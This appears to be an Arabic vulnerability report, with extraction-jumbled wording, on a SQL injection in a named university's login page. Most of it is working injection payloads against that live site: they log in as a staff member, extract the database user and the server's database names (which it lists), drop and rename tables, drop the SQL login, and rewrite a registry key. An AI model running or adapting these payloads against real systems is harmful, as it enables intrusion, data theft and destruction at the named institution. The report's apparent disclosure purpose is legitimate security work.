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 ات بشكل كلي يانثغرة أمنية لاختراق قاعدة الب

 

 الثغرة موجودة في الصفحة التالية:  .1

http://www.bsu.edu.eg/plogin.aspx 

 Severity Highمن أعلى درجة  :الخطورة .2

 SQLi اختراق قواعد البيانات :النوع .3

 استغلال الثغرة .4

اذا اردنا الدخول الى حساب عضو هيئة  ،   هذاة أمر كضح بيانات الجامعة عن طريق كتاب ف
 : password  أيبة ، مع كتا monaيس التدر

 

 



 كننا كتابة  مفي لمستخدم الحالي لقواعد البياناتا استرجاع أردنا إذااو 

mona'; INSERT INTO [Prof] (cat_id, SCid, UserName, Password) VALUES 
(12,97, (select SYSTEM_USER) ,'123456') ;-- 

 ة ونكتب عيد فتح نفس النافذون

' or username = (select SYSTEM_USER);-- 

على  لحصفنة التدريس وبالضغط على البيانات الأساسية لعضو هيئمكنا من الدخول فنجد اننا ت
 الي:بيانات المستخدم الح

 

 

 لى السرفر نكتب قواعد البيانات الموجودة ع أسماءا اردنا الحصول على كل ذوا

mona'; INSERT INTO [Prof] (cat_id, SCid, UserName, Password) VALUES 
(12,97, 'bsu5', (SELECT name + ', ' AS 'data()'  FROM sys.databases FOR XML 
PATH('') )) ;-- 

 قل كلمة المرور.نجد جميع قواعد البيانات موجودة في ح --;’bsu5ستخدام ثم ندخل با



 

 قواعد البيانات على السرفر أسماءهذه 

master tempdb model msdb ReportServer ReportServerTempDB braat bsu 
BSUJournals faculty Online_Service PG_LAW Portal PortalStud 

PublicationsDB Hotel bsu2 

 

 

 واذا اردنا حذف احد الجداول مثل جدول الأخبار أو تغيير اسمه فنكتب 

mona’; drop table news;-- 

ahmed'; EXEC sp_rename 'news', 'newskk';-- 

 

 أيبيانات في  أي إضافةأو قع الجامعة  ى مو بر علخ إضافةيمكن بنفس الطرق و
 ن طريق معرفة بسيطة بهياكل قاعدة البيانات ع  تعديل نتائج طالبجدول مثل 

 



 نكتب  SQLبرنامج الحالي لحذف المستخدم واذا اردنا 

mona'; USE BSU; declare @dbs char(max); SET @dbs = 'drop user ' + (select 
ORIGINAL_LOGIN()); exec sp_executesql(@dbs);-- 

 

لتغيير نمط الدخول  registeryاذا اردنا العبث بالبرامج المثبته على السرفر مثل تعديل قيم وأخيرا 

 فنكتب: مثلا   SQLلبرنامج 

mona'; EXEC xp_instance_regwrite N'HKEY_LOCAL_MACHINE', 
N'Software\Microsoft\MSSQLServer\MSSQLServer', N'LoginMode', 
REG_DWORD, 1;-- 

 

، ولكن في المطبق حاليا بالجامعة   IPSو  WAFمن الجدير بالذكر ان الثغرة لن تعمل في حالة تشغيل 

اكثر  أخرىمكن استغلالها في كل ما سبق وامور فان الثغرة يحالة توقف هذه الأنظمة لأي سبب ، 
 تعقيدا.
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